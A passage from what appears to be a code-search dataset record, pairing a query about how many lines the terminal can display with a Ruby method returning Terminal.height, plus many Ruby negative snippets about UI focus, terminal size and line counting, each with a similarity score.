"def configure!(config = {})\n @token = config[:token]\n @node = config[:node]\n @version = config[:version]\n @revision = config[:revision]\n self\n end",
"def configure(&block)\n @config = BeaconControl::Base::Config.new &block\n end"
] | [
"0.650775",
"0.6432643",
"0.6432643",
"0.64055663",
"0.61986077",
"0.6190462",
"0.6190431",
"0.6138053",
"0.6106681",
"0.6049971",
"0.60169464",
"0.5942714",
"0.5928619",
"0.59283185",
"0.59283185",
"0.59080756",
"0.58889747",
"0.58865875",
"0.588558",
"0.58774656",
"0.58582926",
"0.5848601",
"0.584705",
"0.5843621",
"0.58405286",
"0.5808483",
"0.5807427",
"0.5795062",
"0.5795062",
"0.57876635",
"0.5786586",
"0.5785763",
"0.57693833",
"0.5725864",
"0.5720194",
"0.5711336",
"0.570816",
"0.57020867",
"0.57017463",
"0.57017463",
"0.57017463",
"0.56878513",
"0.56686115",
"0.5665691",
"0.5665691",
"0.5651893",
"0.56409556",
"0.5620563",
"0.5619046",
"0.5618849",
"0.5618849",
"0.5610487",
"0.5609807",
"0.5600647",
"0.55976045",
"0.5596432",
"0.5596432",
"0.5596386",
"0.5595818",
"0.5589344",
"0.55877966",
"0.5585165",
"0.5585165",
"0.55833036",
"0.5578173",
"0.5578173",
"0.5576493",
"0.5576493",
"0.5576063",
"0.5576063",
"0.5576063",
"0.5576063",
"0.5576063",
"0.5576063",
"0.5576063",
"0.5565278",
"0.5560545",
"0.55601114",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5548738",
"0.5547625",
"0.5545408",
"0.5541867",
"0.55259264"
] | 0.7594411 | 0 |
Used after defining an interface or interfaces to set the initially focussed interface. | def focus(name)
Vedeu.trigger(:_focus_by_name_, name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_focus\n\t\[email protected]\n\tend",
"def focus\r\n end",
"def set_input_focus! (focus, time = 0, revert_to: INPUT_FOCUS_POINTER_ROOT)\n super(revert_to, focus, time)\n end",
"def focus!\n self.update_attribute :focus, 1\n end",
"def focus!\n @gtk_socket.can_focus = true\n @gtk_socket.has_focus = true\n end",
"def focus_change; change_for :focus; end",
"def set_focus!(page=nil)\n @focus = page || @agent.current_page\n end",
"def setFocusActive(bool)\n @focusActive = bool\n end",
"def camSetFocus _obj, _args\n \"_obj camSetFocus _args;\" \n end",
"def set_focus_on arow\n @oldrow = @current_index\n @current_index = arow\n bounds_check if @oldrow != @current_index\n end",
"def focus\n `#@native.focus()`\n end",
"def focus\n unless @@__focused\n clear_test_methods!\n @@__focused = true\n end\n @@__focus_next = true\n end",
"def ctrlSetFocus _args\n \"ctrlSetFocus _args;\" \n end",
"def set_focused(idx_focus)\n if (@idx_focused != idx_focus)\n matching_selection = @matching_selection\n original_pointer_widget = @builder['original_container'].children[0]\n original_pointer = original_pointer_widget.matching_pointers[0]\n matching_pointers_container = @builder['matching_container']\n # Update the previous one\n if (@idx_focused != nil)\n previous_focused_widget = ((@idx_focused == -1) ? original_pointer_widget : matching_pointers_container.children[@idx_focused])\n previous_focused_widget.set_focus(false, matching_selection.matching_pointers[original_pointer] == previous_focused_widget.matching_pointers[0])\n end\n # Update the new one\n next_focused_widget = ((idx_focus == -1) ? original_pointer_widget : matching_pointers_container.children[idx_focus])\n next_focused_widget.set_focus(true, matching_selection.matching_pointers[original_pointer] == next_focused_widget.matching_pointers[0])\n @idx_focused = idx_focus\n # Make sure it is visible\n @builder['matching_scrolledwindow'].vadjustment.value = matching_pointers_container.children[idx_focus].allocation.y if (idx_focus != -1)\n end\n end",
"def focus!\n Vedeu::Models::Focus.add(model.name, true) if present?(model.name)\n end",
"def setup!\n focus_by_name!\n focus_next!\n focus_prev!\n end",
"def update_focusables\n $log.debug \"XXX: inside update focusables\"\n @focusable_modified = true\n end",
"def focus=(element)\n @focus.publish(:blur) if @focus && element && @focus != element\n @focus = element\n end",
"def focus\n application.focus(self)\n end",
"def focus_prev!\n Vedeu.bind(:_focus_prev_) { Vedeu.focus_previous }\n end",
"def focusable=(bool)\n #$log.debug \" inside focusable= with #{bool} \"\n @focusable = bool\n @_form.update_focusables if @_form\n end",
"def focus_address\n @address.selection_range('0', 'end')\n @address.icursor = 'end'\n @address.focus\n end",
"def focus\n assert_exists\n driver.execute_script \"return arguments[0].focus()\", @element\n end",
"def focus\n assert_exists\n driver.execute_script \"return arguments[0].focus()\", @element\n end",
"def focus!\n Vedeu::Focus.add(model.name, true) if present?(model.name)\n end",
"def focus_prev\n i = focusables.index(@focused) || 0\n new_i = i.zero? ? focusables.length - 1 : i - 1\n self.focused = focusables[new_i] if focusables[new_i]\n end",
"def set_focus_on str\n listb = @form.by_name[\"mylist\"]; \n ix = listb.list.index(str)\n if ix\n #listb.set_focus_on ix\n listb.goto_line ix\n end\nend",
"def update\n return false if empty?\n\n Vedeu.log(type: :info, message: \"Interface in focus: '#{current}'\")\n\n refresh\n\n current\n end",
"def OLDset_focus_on arow\n return if arow > row_count()-1 or arow < 0\n @oldrow = @current_index\n total = row_count()\n @current_index = arow\n sar = scrollatrow + 1\n @toprow = (@current_index / sar) * sar\n\n #$log.debug \"1 set_focus #{total}, sar #{sar}, toprow #{@toprow}, current_index #{@current_index}\"\n if total - @toprow < sar\n @toprow = (total - sar) \n end\n #$log.debug \"2 set_focus #{total}, sar #{sar}, toprow #{@toprow}, current_index #{@current_index}\"\n set_form_row # 2009-01-17 12:44 \n @repaint_required = true\n #bounds_check\n end",
"def saveFocus\n @save = @scroll_field.has_focus\n @scroll_field.has_focus = @entry_field.has_focus\n end",
"def focus\n unless RMQ.is_blank?(selected)\n selected.last.becomeFirstResponder\n end\n self\n end",
"def Edit_TakeFocus(hwndCtl) send_edit_message(hwndCtl, :TAKEFOCUS) end",
"def set_focus first_last\n if [email protected]?\n # move to first field of existing form\n #@current_form = @current_tab.form # 2010-02-27 20:22 \n $log.debug \" calling display form from handle_key NO_NEXT_FIELD: #{first_last} \"\n first_last == :FIRST ? @form.req_first_field : @form.req_last_field\n display_form\n else \n # move to component\n #@current_form = @current_tab.component # temp HACK 2010-02-27 23:24 \n @component.set_form_row\n @component.set_form_col\n end\n end",
"def set_focus(focused, selected)\n default_color = Gtk::Widget.default_style.bg(Gtk::STATE_NORMAL)\n self.modify_bg(Gtk::STATE_NORMAL, (\n selected ? (\n focused ? Gdk::Color.new(65535,65535,0) : Gdk::Color.new(65535,0,0)\n ) : (\n focused ? Gdk::Color.new(0,65535,0) : default_color\n )\n ))\n self.show\n end",
"def set( setThis )\r\n assert_exists\r\n assert_enabled\r\n assert_not_readonly\r\n \r\n highlight(:set)\r\n @o.scrollIntoView\r\n @o.focus\r\n @o.select()\r\n @o.fireEvent(\"onSelect\")\r\n @o.value = \"\"\r\n @o.fireEvent(\"onKeyPress\")\r\n doKeyPress( setThis )\r\n highlight(:clear)\r\n @o.fireEvent(\"onChange\")\r\n @o.fireEvent(\"onBlur\")\r\n end",
"def focus_next!\n Vedeu.bind(:_focus_next_) { Vedeu.focus_next }\n end",
"def prepare_for_immediate_keypress\n\t\t\t@initial_input_ready = true\n\t\t\tself.setCursorPosition(0)\n\t\t\tself.grabKeyboard\n\t\tend",
"def set_focus_to(id)\n javascript_tag(\" $(document).ready(function(){$('##{id}').focus()});\");\n end",
"def set_focus_to(id)\n javascript_tag(\" $(document).ready(function(){$('##{id}').focus()});\");\n end",
"def _update_focusables #:nodoc:\n @focusable_modified = false\n @focusables = @widgets.select { |w| w.focusable? }\n end",
"def focus\n XDo::FFILib.xdo_window_focus @_xdo_pointer, @_window\n end",
"def change_focus(area_name, configuration)\n @focus = if !area_name.nil? && configuration.areas.key?(area_name)\n configuration.areas[area_name]\n else\n # This is a 'null' area, used when the focus is empty or invalid\n {\n key: 'null',\n name: 'Null area. Please fix your configuration file!',\n root: nil,\n 'area' => {}\n }\n end\n end",
"def focus_next\n i = focusables.index(@focused) || 0\n new_i = i == focusables.length - 1 ? 0 : i + 1\n self.focused = focusables[new_i] if focusables[new_i]\n end",
"def focus_on_edit_line\n id_field.show\n id_field.focus\n end",
"def add_focusable!(name)\n Vedeu::Models::Focus.add(name)\n end",
"def focus!(comp)\n prev = @focused\n unless prev == comp\n evt = Events::FocusEvent.new(prev, comp)\n prev.process_event(:focus_lost, evt) if prev\n @focused = comp\n comp.process_event(:focus_gained, evt)\n end\n prev\n end",
"def Edit_NoSetFocus(hwndCtl) send_edit_message(hwndCtl, :NOSETFOCUS) end",
"def set_focus_on arow\n return if arow > get_content().length-1 or arow < 0\n total = get_content().length\n @prow = arow\n sar = @scrollatrow + 1\n @toprow = (@prow / sar) * sar\n\n if total - @toprow < sar\n @toprow = (total - sar) \n end\n @winrow = @prow - @toprow\n end",
"def focusInEvent(p_event)\n\t\t\tsuper(p_event)\n\t\t\tself.grabKeyboard\n\t\tend",
"def set_selected_tab\n end",
"def camPrepareFocus _obj, _args\n \"_obj camPrepareFocus _args;\" \n end",
"def focus\n return if !@focusable\n if @form.validate_field != -1\n @form.select_field @id\n end\n end",
"def reset_focus\n mixin({\n outline: 0\n })\n end",
"def focused_control\n Window.functions[__method__] ||= AU3_Function.new(\"ControlGetFocus\", 'SSPI')\n buffer = \" \" * AutoItX3::BUFFER_SIZE\n buffer.wide!\n Window.functions[__method__].call(@title.wide, @text.wide, buffer, AutoItX3::BUFFER_SIZE - 1)\n AutoItX3::Control.new(@title, @text, buffer.normal.strip)\n end",
"def readline_default_bindings()\r\n if @_rl_bind_stty_chars\r\n rl_tty_set_default_bindings(@_rl_keymap)\r\n end\r\n end",
"def focusInEvent(p_event)\n\t\t\tsuper(p_event)\n\t\t\t\n\t\t\t# Reset text and palette if needed\n\t\t\tdo_reset if !@reset && self.text == @help_text\t\t\t\n\t\tend",
"def focus_onto_search_input\n click NAVBAR_SEARCH_INPUT_LOCATOR\n end",
"def set_current_text_input(text_input_handle)\n end",
"def textViewDidBeginEditing(textView)\n handle_focus\n end",
"def update\n return false if storage.empty?\n\n Vedeu.log(message: \"Interface in focus: '#{current}'\")\n\n refresh\n\n current\n end",
"def cursor=(new_state)\n\t try_set_screen\n\t tmp = new_state ? 1 : 0\n Klass.setCursorOn(@handle, tmp)\n new_state\n end",
"def setSpinner(term)\n return if (mode = switch?(term)).nil?\n mode ? @spinner.startAnimation(self) : @spinner.stopAnimation(self)\n end",
"def on_enter\n # if BTAB, the last comp XXX they must be focusable FIXME\n if $current_key == KEY_BTAB || $current_key == KEY_UP\n @current_component = @focusables.last\n elsif $current_key == KEY_TAB || $current_key == KEY_DOWN\n @current_component = @focusables.first\n else\n # let current component be, since an unhandled key may have resulted\n # in on_enter being called again\n end\n return unless @current_component\n $log.debug \" STACKFLOW came to ON_ENTER #{@current_component} \"\n set_form_row\n @_entered = true\n end",
"def set_focusable(tf)\n $log.warn \"pls don't use, deprecated. use focusable(boolean)\"\n focusable tf\n end",
"def focus(locator)\n execute_script(\n 'var element = arguments[0]; element.focus();',\n find_element(locator)\n )\n end",
"def focus_by_name!\n Vedeu.bind(:_focus_by_name_) { |name| Vedeu.focus_by_name(name) }\n end",
"def setup!\n clear_group!\n hide_cursor!\n hide_group!\n hide_interface!\n show_cursor!\n show_group!\n show_interface!\n toggle_cursor!\n toggle_group!\n toggle_interface!\n end",
"def cursor_home\n @curpos = 0\n @pcol = 0\n set_form_col 0\n end",
"def starts_as(initial_state)\n @current_state = initial_state\n self\n end",
"def setup_focus\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n case @focus_target\n when 1; eval_target = \"opponents_unit.members.include?(spr.battler)\";\n when 2; eval_target = \"friends_unit.members.include?(spr.battler)\";\n when 3; eval_target = \"true\";\n else; eval_target = \"target_array.include?(spr.battler)\";\n end\n sprset = get_spriteset\n rect = sprset.focus_bg.bitmap.rect\n color = @acts[2] || Focus_BGColor\n sprset.focus_bg.bitmap.fill_rect(rect,color) # Recolor focus background\n sprset.focus_bg.fadein(@acts[1]) # Trigger fadein\n sprset.battler_sprites.select do |spr|\n !spr.battler.nil? # Select avalaible battler\n end.each do |spr|\n if spr.battler != self && (spr.battler.actor? ? true : spr.battler.alive?)\n check = eval(eval_target)\n spr.fadeout(@acts[1]) if !check\n spr.fadein(@acts[1]) if check\n end\n end\n end",
"def update\n return false if storage.empty?\n\n Vedeu.log(\"Interface in focus: '#{current}'\")\n\n refresh\n\n current\n end",
"def focusable(*val)\n return @focusable if val.empty?\n oldv = @focusable\n @focusable = val[0]\n\n return self if oldv.nil? || @_object_created.nil?\n # once the form has been painted then any changes will trigger update of focusables.\n @form.update_focusables if @form\n # actually i should only set the forms focusable_modified flag rather than call this. FIXME\n self\n end",
"def reset_focus_group()\n # Clear the focus group\n LVGUI.focus_group.remove_all_objs()\n\n LVGUI.focus_group.focus_handler = ->() do\n @container.focus(\n LVGUI.focus_group.get_focused,\n LVGL::ANIM::OFF\n )\n end\n\n @focus_group.each do |el|\n LVGUI.focus_group.add_obj(el)\n end\n end",
"def activate\n self.active = true\n end",
"def set_default_selection_model\n @list_selection_model = nil\n @list_selection_model = Canis::DefaultListSelectionModel.new self\n end",
"def focused?\n @focus\n end",
"def focused?\n @focus\n end",
"def activate; end",
"def activate\r\n # puts 'activate'\r\n @@activated = true\r\n @suspended = false\r\n @user_esc = false\r\n @cancel_reason = nil\r\n @enable_redraw = true\r\n end",
"def initialize\n super\n self.searchable = true\n @input.on(:focus) do\n self[:focused] = ''\n empty_input\n end\n @input.on(:blur) do\n remove_attribute :focused\n update_input\n end\n end",
"def k_interface!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 35 )\n\n\n\n type = K_INTERFACE\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 393:4: 'interface'\n match( \"interface\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 35 )\n\n\n end",
"def set_cur_tab\n end",
"def vieditable_init_tabular\n $log.debug \" inside vieditable_init tabular\"\n @editable = true\n #bind_key( ?C, :edit_line)\n #bind_key( ?o, :insert_line)\n #bind_key( ?O) { insert_line(@current_index-1) } \n #bind_key( ?o) { insert_line(@current_index+1) } \n #bind_key( ?O) { insert_line(@current_index) } \n bind_key( [?d, ?d] , :delete_line ) \n #bind_key( ?\\C-_ ) { @undo_handler.undo if @undo_handler }\n #bind_key( ?u ) { @undo_handler.undo if @undo_handler }\n #bind_key( ?\\C-r ) { @undo_handler.redo if @undo_handler }\n bind_key( [?y, ?y] , :kill_ring_save ) \n bind_key( ?p, :yank ) # paste after this line\n bind_key( ?P ) { yank(@current_index - 1) } # should be before this line\n bind_key(?\\M-y, :yank_pop)\n bind_key(?\\M-w, :kill_ring_save)\n @_events.push :CHANGE # thru vieditable\n end",
"def activate()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.HotkeySystem_activate(@handle.ptr)\n end",
"def set_focus_emulation_enabled(enabled:)\n {\n method: \"Emulation.setFocusEmulationEnabled\",\n params: { enabled: enabled }.compact\n }\n end",
"def setup_focus\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n case @focus_target\n when 1; eval_target = lambda{|s|opponents_unit.members.include?(s.battler)};\n when 2; eval_target = lambda{|s|friends_unit.members.include?(s.battler)};\n when 3; eval_target = lambda{|s|true};\n else; eval_target = lambda{|s|target_array.include?(s.battler)};\n end\n sprset = get_spriteset\n rect = sprset.focus_bg.bitmap.rect\n color = @acts[2] || Focus_BGColor\n color = Color.new(*color) if color.is_a?(Array)\n sprset.focus_bg.bitmap.fill_rect(rect,color) # Recolor focus background\n sprset.focus_bg.fadein(@acts[1]) # Trigger fadein\n sprset.battler_sprites.select do |spr|\n !spr.battler.nil? # Select avalaible battler\n end.each do |spr|\n if spr.battler != self && (spr.battler.actor? ? true : spr.battler.alive?)\n check = eval_target.call(spr)\n spr.fadeout(@acts[1]) if !check\n spr.fadein(@acts[1]) if check\n end\n end\n end",
"def set_focus_to_id(id, othertxt=nil)\n javascript_tag(\"$('#{id}').focus()\");\n end",
"def init_screen screen\n\n screen.set_editable false\n screen.set_xalign 1\n screen.set_can_focus false\n\n end",
"def setup_completer\n @completer = Qt::Completer.new\n\n @completer.widget = self\n @completer.completion_mode = Qt::Completer::PopupCompletion\n @completer.case_sensitivity = Qt::CaseSensitive\n\n @completer.connect(SIGNAL(\"activated(QString)\")) { |completion|\n insert_completion(completion)\n }\n\n @completion_pos = 0 # index of the completed character\n end",
"def select_first_field\n # this results in on_leave of last field being executed when form starts.\n #@active_index = -1 # FIXME HACK\n #select_next_field\n ix = @focusables.first\n return unless ix # no focussable field\n\n # if the user is on a field other than current then fire on_leave\n if @active_index.nil? || @active_index < 0\n elsif @active_index != ix\n f = @widgets[@active_index]\n begin\n #$log.debug \" select first field, calling on_leave of #{f} #{@active_index} \"\n on_leave f\n rescue => err\n $log.error \" Caught EXCEPTION select_first_field on_leave #{err}\"\n Ncurses.beep\n #$error_message = \"#{err}\"\n $error_message.value = \"#{err}\"\n return\n end\n end\n select_field ix\n end",
"def set_default\n end",
"def set_active_cursor \n if [email protected]?( @active_battler)\n @cursor.moveto( @active_battler)\n update_selected\n end\n end",
"def initialize\n super\n @vertical = false\n self[:tabindex] ||= 0\n end",
"def focus_prev_key(value)\n return invalid_key('exit_key') unless valid_key?(value)\n\n Vedeu.log(\"Configuration::API focus_prev: #{value}\")\n\n system_keys[:focus_prev] = value\n end",
"def Edit_SetCueBannerTextFocused(hwnd, lpcwText, fDrawFocused)\n send_edit_message(hwnd, :SETCUEBANNER, wparam: fDrawFocused, lparam: lpcwText)\n end",
"def _reset_for_init\n @slot_instructions = Label.new(source_name, source_name)\n @current = @slot_instructions\n end",
"def set_focuse\n @focuse = Focuse.find(params[:id])\n end",
"def select_beginning\n range = @content_field.textRangeFromPosition @content_field.beginningOfDocument, toPosition:@content_field.beginningOfDocument\n @content_field.setSelectedTextRange range\n end",
"def select_field ix0\n if ix0.is_a? Widget\n ix0 = @widgets.index(ix0)\n end\n return if @widgets.nil? or @widgets.empty?\n #$log.debug \"inside select_field : #{ix0} ai #{@active_index}\" \n f = @widgets[ix0]\n return if !f.focusable?\n if f.focusable?\n @active_index = ix0\n @row, @col = f.rowcol\n #$log.debug \" WMOVE insdie sele nxt field : ROW #{@row} COL #{@col} \" \n on_enter f\n @window.wmove @row, @col # added RK FFI 2011-09-7 = setpos\n\n f.set_form_row # added 2011-10-5 so when embedded in another form it can get the cursor\n f.set_form_col # this can wreak havoc in containers, unless overridden\n\n # next line in field changes cursor position after setting form_col\n # resulting in a bug. 2011-11-25 \n # maybe it is in containers or tabbed panes and multi-containers\n # where previous objects col is still shown. we cannot do this after \n # setformcol\n #f.curpos = 0 # why was this, okay is it because of prev obj's cursor ?\n repaint\n @window.refresh\n else\n $log.debug \"inside select field ENABLED FALSE : act #{@active_index} ix0 #{ix0}\" \n end\n end",
"def setup_input\n set_keys(KbEscape => :close,\n KbF1 => [:toggle_text, false],\n KbF2 => [:debug!, false],\n KbF3 => [:pause!, false])\n end"
] | [
"0.6657486",
"0.6434159",
"0.6372374",
"0.63690823",
"0.6366425",
"0.6239629",
"0.620794",
"0.6184416",
"0.5994305",
"0.58919275",
"0.5883557",
"0.58778596",
"0.5841011",
"0.5741461",
"0.57374036",
"0.57085913",
"0.57085913",
"0.5696812",
"0.5664851",
"0.5649674",
"0.5639836",
"0.56300676",
"0.56183314",
"0.56183314",
"0.5615597",
"0.5612878",
"0.56021625",
"0.55865735",
"0.558606",
"0.55683076",
"0.55659395",
"0.5550626",
"0.55476856",
"0.55070317",
"0.548787",
"0.5461408",
"0.5438345",
"0.5399874",
"0.5399874",
"0.5395012",
"0.5376859",
"0.52912754",
"0.5275257",
"0.5256442",
"0.52369875",
"0.52311796",
"0.5221869",
"0.52158034",
"0.5198172",
"0.5191722",
"0.51855975",
"0.5181232",
"0.51638883",
"0.51618946",
"0.5150903",
"0.5142227",
"0.510947",
"0.5107346",
"0.50774914",
"0.50585043",
"0.5010629",
"0.49998713",
"0.49990436",
"0.49954227",
"0.4993411",
"0.4989835",
"0.4976683",
"0.4970164",
"0.49585593",
"0.4958523",
"0.49581403",
"0.49496648",
"0.49298182",
"0.49185762",
"0.4915801",
"0.49113953",
"0.49113953",
"0.4909823",
"0.4897005",
"0.4896184",
"0.48875853",
"0.4880913",
"0.48799706",
"0.48762456",
"0.48520058",
"0.48456138",
"0.48438644",
"0.48387393",
"0.48276895",
"0.4822096",
"0.48174065",
"0.4812912",
"0.47960997",
"0.4768546",
"0.47608915",
"0.47492075",
"0.47480154",
"0.47444475",
"0.47433072",
"0.47379565"
] | 0.53342366 | 41 |
Find out how many lines the current terminal is able to display. | def height
Terminal.height
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _rl_current_display_line()\r\n # Find out whether or not there might be invisible characters in the\r\n # editing buffer.\r\n if (@rl_display_prompt == @rl_prompt)\r\n nleft = @_rl_last_c_pos - @_rl_screenwidth - @rl_visible_prompt_length\r\n else\r\n nleft = @_rl_last_c_pos - @_rl_screenwidth\r\n end\r\n\r\n if (nleft > 0)\r\n ret = 1 + nleft / @_rl_screenwidth\r\n else\r\n ret = 0\r\n end\r\n\r\n ret\r\n end",
"def output_rows\n return 24 unless @output.tty?\n terminal.terminal_size.last\n rescue NoMethodError\n return 24\n end",
"def line_count\n\t\tlines.size\n\tend",
"def line_count\n\t\tlines.size\n\tend",
"def count_lines\n linecount = 0\n\n @output_buffer.each do |line|\n linecount += line.scan(/\\n/).count\n end\n\n linecount - 1\n end",
"def num_lines() @line_indices.length + 1 end",
"def line_number\n lines_read.length\n end",
"def num_lines_in_view()\n\t\tlast_line_in_view() - first_line_in_view() + 1\n\tend",
"def getNumLines()\n contents.split(\"\\n\").length - 1\n end",
"def output_cols\n return 80 unless @output.tty?\n terminal.terminal_size.first\n rescue NoMethodError\n return 80\n end",
"def detect_terminal_size\n if (ENV['COLUMNS'] =~ /^\\d+$/) && (ENV['LINES'] =~ /^\\d+$/)\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map { |s| s.to_i }.reverse\n else\n nil\n end\n rescue\n nil\n end",
"def terminal_size\n if (ENV['COLUMNS'] =~ /^\\d+$/) && (ENV['LINES'] =~ /^\\d+$/)\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map{ |s| s.to_i }.reverse\n else\n nil\n end\n rescue\n nil\n end",
"def terminal_size\n if (ENV['COLUMNS'] =~ /^\\d+$/) && (ENV['LINES'] =~ /^\\d+$/)\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map { |s| s.to_i }.reverse\n else\n nil\n end\n rescue\n nil\n end",
"def detect_terminal_size\n if (ENV['COLUMNS'] =~ /^\\d+$/) && (ENV['LINES'] =~ /^\\d+$/)\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map { |s| s.to_i }.reverse\n else\n nil\n end\nrescue\n nil\nend",
"def line_length(line)\n line.chomp.gsub(/\\e\\[[\\d;]*m/, '').length\n end",
"def line_length(line)\n line.chomp.gsub(/\\e\\[[\\d;]*m/, '').length\n end",
"def line_count\n\t\t\treturn @contents.nil? ? 0 : @contents.count\n\t\tend",
"def lines_count\n @lines_count ||= lines.count\nend",
"def columns; IO.console.winsize[1] rescue 80; end",
"def infer_console_width\n interactive? ? interaction_highline.output_cols-3 : 80\n end",
"def visible_line_number\n return ROWS_MAX\n end",
"def line_count\n entries.inject(0) do |count, entry|\n count + (entry.dir? ? 0 : entry.lines.size)\n end\n end",
"def determine_line_number(scanner)\n scanner.string[0, scanner.pos].count(\"\\n\")\n end",
"def length\n (lines.map do |line|\n Strings::Align.display_width(line)\n end << 0).max\n end",
"def visible_line_number\n [SES::ExternalText::Languages.size, 8].min\n end",
"def terminal_size\n if /solaris/ =~ RUBY_PLATFORM and\n `stty` =~ /\\brows = (\\d+).*\\bcolumns = (\\d+)/\n [$2, $1].map { |c| x.to_i }\n else\n `stty size`.split.map { |x| x.to_i }.reverse\n end\n end",
"def num_lines\n load_data unless @num_lines\n @num_lines\n end",
"def columns\n IO.console.winsize.last\n end",
"def question_lines_count(question_lines)\n question_lines.reduce(0) do |acc, line|\n acc + @prompt.count_screen_lines(line)\n end\n end",
"def max_lines\n (contents.width / line_height) - 1\n end",
"def terminal_width; end",
"def terminal_width; end",
"def terminal_size\n m_GetStdHandle = Win32API.new( 'kernel32',\n 'GetStdHandle',\n ['L'],\n 'L' )\n m_GetConsoleScreenBufferInfo = Win32API.new(\n 'kernel32', 'GetConsoleScreenBufferInfo', ['L', 'P'], 'L'\n )\n\n format = 'SSSSSssssSS'\n buf = ([0] * format.size).pack(format)\n stdout_handle = m_GetStdHandle.call(0xFFFFFFF5)\n \n m_GetConsoleScreenBufferInfo.call(stdout_handle, buf)\n bufx, bufy, curx, cury, wattr,\n left, top, right, bottom, maxx, maxy = buf.unpack(format)\n return right - left + 1, bottom - top + 1\n end",
"def terminal_dimensions\n [0, 0] unless STDOUT.tty?\n [80, 40] if OS.windows?\n\n if ENV['COLUMNS'] && ENV['LINES']\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif ENV['TERM'] && command_in_path?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif command_in_path?('stty')\n `stty size`.scan(/\\d+/).map {|s| s.to_i }\n else\n [0, 0]\n end\n rescue\n [0, 0]\n end",
"def lines_of_code\n coverage_statistics[:line]&.total\n end",
"def line_length(line = -1)\n send_message(:LINELENGTH, line.to_i)\n end",
"def window_line_size\n lines - 2\n end",
"def description_lines\n string = @challenge.description\n lines = 0\n string.each_line('|') { |i|\n lines += 1\n }\n return lines+1\n end",
"def lines_of_code\n covered_lines.size + missed_lines.size\n end",
"def winsize; IO.console.winsize end",
"def line\n\t return -1 if @inputStack.empty? # only if initialize() arg is bogus\n\n\t input = @inputStack[0] # not @inputStack.last\n\t str = input.string[0 .. input.pos]\n\t return str.count(\"\\n\") + 1\n\tend",
"def get_columns\n require 'io/console'\n n = ENV[\"COLUMNS\"]\n if n.nil? or n == \"\"\n rows, n = IO.console.winsize\t\n else\n n = n.to_i\n end\n return n\nend",
"def length\n @lines ? @lines.length : 0\n end",
"def length\n @lines ? @lines.length : 0\n end",
"def line_count\n `wc -l public/HelloWorld.txt`.to_i\n end",
"def terminal_size; end",
"def terminal_size; end",
"def lines\n\t\t\[email protected](Ruvim::API::CR)\n\t\tend",
"def size_from_readline(verbose: false)\n require \"readline\" unless defined?(::Readline)\n\n return unless ::Readline.respond_to?(:get_screen_size)\n\n size = ::Readline.get_screen_size\n size if nonzero_column?(size[1])\n rescue LoadError\n warn \"no readline gem\" if verbose\n rescue NotImplementedError\n end",
"def get_terminal_width\n if (ENV['COLUMNS'] =~ /^\\d+$/)\n ENV['COLUMNS'].to_i\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n `tput cols`.to_i\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map { |s| s.to_i }.reverse[0]\n else\n 80\n end\n rescue\n 80\n end",
"def line_length(line_index)\n @line_lengths[line_index]\n end",
"def visible_line_number\n return 1\n end",
"def visible_line_number\n return 1\n end",
"def line_length_for(line_number)\n line_lengths[line_number]\n end",
"def winsize\n $stdout.winsize\nend",
"def length\n @line.length\n end",
"def visible_line_number\r\n return 5\r\n end",
"def visible_line_number\n return 4\n end",
"def visible_line_number\n return 4\n end",
"def terminal_size\n size = [80, 40]\n FFI::NCurses.initscr\n begin\n size = FFI::NCurses.getmaxyx(FFI::NCurses.stdscr).reverse\n ensure\n FFI::NCurses.endwin\n end\n size\n end",
"def find_number_lines(opened_file)\n start_time = Time.now.to_i\n total_file_lines = opened_file.each_line.inject(0) { |total, _amount| total + 1 }\n opened_file.rewind\n if Rails.env.development?\n end_time = Time.now.to_i\n puts(\"1. Lines ==> #{total_file_lines} in #{((end_time - start_time) / 60).round(2)}\")\n end\n total_file_lines\n end",
"def lines\n @message.size\n end",
"def line_max\n return @line_max if @line_max\n return @line_max = contents_height / line_height\n end",
"def size_from_tput\n return unless @output.tty? && command_exist?(\"tput\")\n\n lines = run_command(\"tput\", \"lines\")\n return unless lines\n\n cols = run_command(\"tput\", \"cols\")\n [lines.to_i, cols.to_i] if nonzero_column?(lines)\n end",
"def contar_lineas\n line = read_alumnos\n contador = line.count\n contador\nend",
"def line_items_count\n self.line_items.size\n end",
